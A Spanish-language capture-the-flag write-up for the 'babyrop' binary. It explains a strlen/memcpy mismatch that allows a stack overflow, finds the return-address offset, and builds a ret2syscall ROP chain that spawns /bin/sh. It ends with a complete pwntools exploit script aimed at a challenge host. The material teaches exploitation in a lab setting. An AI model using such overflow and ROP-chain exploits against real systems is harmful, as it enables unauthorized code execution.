babyrop


July 10, 20255 minutes

Analysis

Main function

bool main(EVP_PKEY_CTX *param_1)

{
  bool bVar1;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  int local_c;
  
  init(param_1);
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  puts("What\'s your name?");
  local_c = input(&local_38,0x20);
  bVar1 = local_c == 0;
  if (bVar1) {
    printf("Hello, %s!\n",&local_38);
  }
  else {
    puts("Invalid name!");
  }
  return !bVar1;
}

En la función main básicamente se hace un puts y luego se llama a la función input pasándole la dirección de local_38 y 0x20, luego printea el valor de local_38.

Input function

  do {
    sVar2 = read(0,&local_11,1);
    if ((sVar2 == 0) || (local_11 == '\n')) break;
    pcVar1 = (char *)((long)&local_98 + local_10);
    local_10 = local_10 + 1;
    *pcVar1 = local_11;
  } while (local_10 != 0x80);
  sVar3 = strlen((char *)&local_98);
  if (param_2 >= sVar3) {
    memcpy(param_1,&local_98,local_10);
  }
  return param_2 < sVar3;
}

Esto es una función personalizada para leer el input de un usuario, para que se entienda mejor se le pueden cambiar los nombres a las variables

  do {
    sVar2 = read(0,&caracter,1);
    if ((sVar2 == 0) || (caracter == '\n')) break;
    pcVar1 = (char *)((long)&buffer_entrada + length);
    length = length + 1;
    *pcVar1 = caracter;
  } while (length != 0x80);
  lenght_real = strlen((char *)&buffer_entrada);
  if (max_lenght >= lenght_real) {
    memcpy(result_input,&buffer_entrada,length);
  }
  return max_lenght < lenght_real;
}

La función lee caracteres uno por uno desde la entrada estándar utilizando read. En cada iteración:

Lee un byte (un carácter) y lo guarda en carácter.

Si read devuelve 0 (EOF) o el carácter leído es ‘\n’ (salto de línea), se rompe el bucle.

Si no, se guarda el carácter en el buffer buffer_entrada en la posición actual (length), y se incrementa length.

El bucle para al leer 128 caracteres (0x80) como máximo, o si se encuentra un salto de línea antes.

Luego, se calcula la longitud real de la cadena utilizando strlen, que mide hasta el primer byte nulo (’\0’). Después, se compara con max_lenght (el tamaño máximo permitido pasado por el argumento). Si la longitud real es menor o igual a max_lenght, se copia el contenido del buffer al resultado (result_input).

Finalmente, la función devuelve 1 si el input superó el tamaño máximo permitido (max_lenght), y 0 en caso contrario.

Ejemplo:

User input: Hola\x00Adios

Strlen mediría el length de esa string 

H o l a \x00 A d i o s
1 2 3 4

Total length: 4

Entonces al hacer un memcpy de memcpy(addr destino, input (Hola\x00Adios), lenght (4)), se estaría copiando una cadena más larga de lo esperado en la dirección de destino causando un desbordamiento del buffer.

Exploitation

Offset

Con la lógica de Analysis se puede conseguir desbordar el buffer. El input esperado era de 0x20 (32 caracteres) así que el payload será 31 ‘A’ un null byte y muchas ‘B’. strlen solo medirá el lenght hasta el null byte y con las ‘B’ se va a desbordar el buffer

payload = b'A'*31
payload += b'\x00'
payload += b'B'*100
info(payload)

r.sendlineafter('name?', payload)
r.interactive()
python3 solve.py LOCAL
[*] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

[*] Got EOF while reading in interactive
$ 
[*] Interrupted
[*] Process '/home/d3bo/Desktop/pwn/main' stopped with exit code -11 (SIGSEGV) (pid 24976)

Se ha desbordado el buffer, el siguiente objetivo es conocer el offset hasta el RIP (la cantidad de B que hay que poner hasta llegar a sobreescribir el RIP).

$ pwn cyclic 128
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab
payload = b'A'*31
payload += b'\x00'
payload += b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab'
python3 solve.py LOCAL GD
00:0000│ rsp 0x7ffdec739f18 ◂— 0x6161616861616167 ('gaaahaaa')
01:0008│     0x7ffdec739f20 ◂— 0x6161616a61616169 ('iaaajaaa')
02:0010│     0x7ffdec739f28 ◂— 0x6161616c6161616b ('kaaalaaa')
03:0018│     0x7ffdec739f30 ◂— 0x6161616e6161616d ('maaanaaa')
04:0020│     0x7ffdec739f38 ◂— 0x616161706161616f ('oaaapaaa')
05:0028│     0x7ffdec739f40 ◂— 0x6161617261616171 ('qaaaraaa')
06:0030│     0x7ffdec739f48 ◂— 0x6161617461616173 ('saaataaa')
07:0038│     0x7ffdec739f50 ◂— 0x6161617661616175 ('uaaavaaa')

Los registros se han sobreescrito con la cadena generada con cyclic, sabiendo que al hacer un ret, el rip toma el valor del rsp, el próximo valor de rip será gaaahaaa

pwn cyclic -l gaaa
24

El offset es 24.

Una vez conocido el offset, se podría pensar en cargar un shellcode y saltar a él, pero la protección NX está activada, por lo que no se pueden ejecutar shellcodes, tampoco se podría hacer un ret2libc porque el binario esta compilado de forma estática y no hay ninguna función de system para ejecutar comandos.

ret2syscall

A base de gadgets se puede ir modificando los registros para conseguir hacer un syscall de execve (59) para ejecutar /bin/sh

pwndbg> search /bin/sh
Searching for byte: b'/bin/sh'

No hay ninguna cadena /bin/sh en el binario, se podría hacer un read para guardar /bin/sh en el bss, pero hay una forma más rápida y menos problemática

$ROPgadget --binary main | grep 'mov qword ptr \[rdi\]'

....
0x000000000043f04b : mov qword ptr [rdi], rax ; ret
....

Esto lo que hace es guardar el contenido de rax en el puntero que hay en rdi.

Antes:

Después:

Para poner rsi en 0 el mejor gadget es pop rsi ; pop rbp ; ret, y para cargar 59 en rax el mejor gadget es pop rax ; ret. El payload quedaría de la siguiente forma

    payload = flat(
        b'A' * 31, b'\x00', b'B' * offset,
        pop_rax, b'/bin/sh\x00', mov_qword_ptr_rdi_rax,
        pop_rsi_pop_rbp, 0, 0,
        pop_rax, 0x3b,
        syscall
    )
$ python3 solve.py LOCAL

Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
$ whoami
d3bo
$  

Exploit entero

#!/usr/bin/env python3

from pwn import *

HOST = "chal.78727867.xyz"
PORT = 34000

exe = ELF("./main")

context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
#context.log_level = 'warn'

gdb_script = '''
b main
b *0x00000000004297c3
continue
'''

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.GDB:
            gdb.attach(r, gdbscript=gdb_script)
    else:
        r = remote(HOST, PORT)
    return r

def main():
    r = conn()

    offset = 24
    mov_qword_ptr_rdi_rax = 0x000000000043f04b
    pop_rax = 0x00000000004297c3
    pop_rsi_pop_rbp = 0x0000000000403d5a
    syscall = 0x00000000004025ea

    payload = flat(
        b'A' * 31, b'\x00', b'B' * offset, # JUNK
        pop_rax, b'/bin/sh\x00', mov_qword_ptr_rdi_rax, # RDI apunta a /bin/sh
        pop_rsi_pop_rbp, 0, 0, # RSI & RBP = 0
        pop_rax, 0x3b, # RAX = 59
        syscall
    )

    r.sendlineafter('name?', payload)
    r.interactive()

if __name__ == "__main__":
    main()